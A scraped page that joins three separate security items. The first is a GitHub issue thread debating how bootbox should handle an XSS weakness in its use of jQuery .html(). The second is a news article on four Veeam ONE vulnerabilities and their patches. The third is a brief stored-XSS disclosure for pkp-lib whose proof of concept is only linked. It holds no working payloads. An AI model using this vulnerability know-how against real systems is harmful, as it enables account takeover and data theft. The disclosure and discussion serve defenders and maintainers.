Bootstrap's sanitizer functions (https://github.com/twbs/bootstrap/blob/master/js/src/util/sanitizer.js) seem fairly straight-forward, but none of these functions are part of it's public API. I suppose I could pull the code from that file into this project, but that would require manually updating the functions whenever Bootstrap fixes something. I'll consider it, but not promising anything.

@tarlepp Thoughts?

Using that bootstrap sanitizer would be nice addition, although using it won't solve all possible attacks with inputs (eg. SQL injections, etc.) - We cannot know how those input data are used in backend side and that isn't something that bootstrap/bootbox itself should do.

I've pinned this issue, to make it easier to find (and hopefully reduce duplicate issues being raised).

And imho this issue is not solved yet, so it should not be closed one - there is some improvements that could be done to bootbox side for this.

> it won't solve all possible attacks with inputs (eg. SQL injections, etc.)

@tarlepp could you elaborate on this point  
As far as I know bootbox only injects input into the DOM so it make sense to handle input in a safe manner preventing XSS and DOM related injections.  
Does bootbox send SQL queries with inputs? if not how can it cause SQL injections ?

BTW as implemented in #699 the fix desn't require any sanitation and allows to keep the exact same functionality with a minor API change

@yonjah Minor API change, yes. Major change in functionality, also yes, and I'm not okay with that.

@tarlepp was just making a point that user input should never be trusted implicitly - Bootbox doesn't do anything that involves back-end code.

@tiesont what is the major functionality change introduced in #699 ?

> @tarlepp was just making a point that user input should never be trusted implicitly - Bootbox doesn't do anything that involves back-end code.

So if it only handles the DOM I would say this is the only kind of injections we should worry about.

@yonjah Making HTML rendering (for the various options which currently allow it) require an extra step, rather than the default behavior, is a major difference, IMO, which is the majority of what your pull-request does. Anyone who's okay with adding something like

as their message option should be capable of using

$('<b>Hello World!</b>').sanitize() // assuming some external sanitizing library or function

@tiesont so from functionality perspective there is no issue the only change is API change -

bootbox.alert('<b>Hello World!</b>'); //Old API
bootbox.alert($('<b>Hello World!</b>')); //new API

Functionality is identical in both cases.

I agree that from API change adding some sanitize call when you need the HTML functionality might not be an issue but it probably wont solve the security issue. It will introduce the exact functionality change you are trying to prevent and when you don't need it it can be a major pain -

bootbox.alert(\`Hello ${user.name}\`);
bootbox.alert(request.error);

This examples are safe to use after the API change but are completely vulnerable with the current API.  
if the API expect a call to some sanitize function before passing the input in it will still be vulnerable.

@yonjah I think we'll have to agree to disagree. I respect your input and value the time you've put into this, but I don't agree with the changes you want to make, so **I** won't be pulling them in.

Hi all,

Forgive me if this is a noob question, but doesn't dev tools give the ability to execute arbitrary javascript code on a page **in the same way** that this bootbox "vulnerability" gives? Sure, maybe a malicious user can inject code into the bootbox callback, but then it's still running frontend code which we already know is manipulable by the user.

If this ability to execute code gives malicious users a route to cause arbitrary code to be executed for anyone other than themselves, then I definitely want to fill in the gaps in my understanding.

Ryan

It could be a "stored XSS" type of attack. Some malicious user enters some value that gets stored in the backend. Then later some other user accesses some record or piece of information, and that stored bit of xss payload gets loaded into the app and into bootbox somehow.

In this case the user input is indirect and stored on the backend first before becoming a problem.

Is there any update on the topic? My pipeline warns about this XSS issue and it's not fixable for me. If it's not an issue, maybe this can be sorted out with the security repo to remove the warning there?

@GitRon It's still an issue in that the notice isn't going to go away unless we change the internals of Bootbox to not use jQuery's .html() function or introduce an internal sanitizer. I'm not doing either anytime soon, as mentioned above and in related issues.

If you're never going to use HTML in your messages or titles, you can fork this repo and replace any uses of .html() with respect to the message and title options, which would probably let your fork pass whatever tool was used to determine Bootbox is vulnerable to injection.

This was referenced

Sep 6, 2021

> @tiesont, what about having bootbox accept a user provider sanitizer function, like prototyped in https://github.com/makeusabrew/bootbox/compare/master...gberaudo:accept\_global\_sanitizer?expand=1. This would:

@gberaudo That's been suggested before, but doesn't really solve the problem, at least as far as these "scan this project for issues" sites are concerned. There's nothing stopping anyone from running user input from an external sanitizer already (which seems like a completely rational solution). I suppose it would be a little less work from a developer's standpoint - supply an sanitizer, then all future values are cleaned automatically. But then again, that's solvable with a global helper function, so...

The core of the issue is that there seems to be an expectation that our small library, which has been around a while and was never built to be used in the context of things like React, should provide the same sort of "protect me from myself" functionality that much larger libraries do. **I** don't have the time or inclination to support an embedded sanitizing function, nor does @tarlepp. Since we're pretty much it as far as active collaborators, well, you get what we're okay with supporting.

If we ever decide to do a Bootbox 6, sure, I'll make sure that there's a way to define a sanitizer (and provide some sort of basic cleaning), but that's a project for next year, _maybe_...

Thanks for your reply @tiesont. I have double checked the discussion in this thread and I did not see where a similar proposition has been made before. Maybe it was proposed in another place? If you have a pointer to it, I would appreciate it because I really like to understand the situation here.

So far, I get that you want:

*   no breaking changes (which is fair);
*   no undue maintenance burden (writing an internal sanitizer function is a no-go).  
    Also you don't care about bootbox being flagged as "unsafe" by companies like Snyk.

I am completly aligned with what you wrote, it is fair and reasonable to me. That is why I proposed a solution that has the merits of:

*   closing this issue;
*   being easy to implement and maintain;
*   being opt-in, no breaking change;
*   being flexible (use or not a sanitizer function, choose the one you like, implement your own, ...);
*   addressing the problem of unsafe usage of the lib: as soon as a sanitizer is defined, all subsequent usages of bootbox will be secure which is a great step forwards for me and my team, making us confident to press the "I know what I am doing button and whitelist this library".

That is as far as I can go to try to explain and convince you that the current issue is addressable upstream in a sane way.  
Thanks for the great discussions and have a good day.

CVE-2023-46998: Document or fix possible XSS vulnerability (via jquery) · Issue #661 · bootboxjs/bootbox

Veeam has released security updates to address four flaws in its ONE IT monitoring and analytics platform, two of which are rated critical in severity.
The list of vulnerabilities is as follows -

CVE-2023-38547 (CVSS score: 9.9) - An unspecified flaw that can be leveraged by an unauthenticated user to gain information about the SQL server connection Veeam ONE uses to access its configuration

Network Security / Vulnerability

Veeam has released security updates to address four flaws in its ONE IT monitoring and analytics platform, two of which are rated critical in severity.

The list of vulnerabilities is as follows -

*   **CVE-2023-38547** (CVSS score: 9.9) - An unspecified flaw that can be leveraged by an unauthenticated user to gain information about the SQL server connection Veeam ONE uses to access its configuration database, resulting in remote code execution on the SQL server.

*   **CVE-2023-38548** (CVSS score: 9.8) - A flaw in Veeam ONE that allows an unprivileged user with access to the Veeam ONE Web Client to obtain the NTLM hash of the account used by the Veeam ONE Reporting Service.

*   **CVE-2023-38549** (CVSS score: 4.5) - A cross-site scripting (XSS) vulnerability that allows a user with the Veeam ONE Power User role to obtain the access token of a user with the Veeam ONE Administrator role.

*   **CVE-2023-41723** (CVSS score: 4.3) - A vulnerability in Veeam ONE that permits a user with the Veeam ONE Read-Only User role to view the Dashboard Schedule.

While CVE-2023-38547, CVE-2023-38548, and CVE-2023-41723 impact Veeam ONE versions 11, 11a, 12, CVE-2023-38548 affects only Veeam ONE 12. Fixes for the issues are available in the below versions -

*   Veeam ONE 11 (11.0.0.1379)
*   Veeam ONE 11a (11.0.1.1880)
*   Veeam ONE 12 P20230314 (12.0.1.2591)

Over the past few months, critical flaws in the Veeam backup software have been exploited by multiple threat actors, including FIN7 and BlackCat ransomware, to distribute malware.

Users running the affected versions are recommended to stop the Veeam ONE Monitoring and Reporting services, replace the existing files with the files provided in the hotfix, and restart the two services.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Critical Flaws Discovered in Veeam ONE IT Monitoring Software – Patch Now

Cross-site Scripting (XSS) - Stored in GitHub repository pkp/pkp-lib prior to 3.3.0-16.

**Description**

Stored attacks are those where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-II XSS.

**Proof of Concept**

https://drive.google.com/file/d/1ZrzJwy1kKdGPPmkIbU-GOB5Ok\_G3Yywf/view?usp=sharing

**Impact**

This security vulnerability has the potential to steal multiple users' cookies, gain unauthorized access to that user's account through stolen cookies, or redirect the user to other malicious websites...

Tag

#web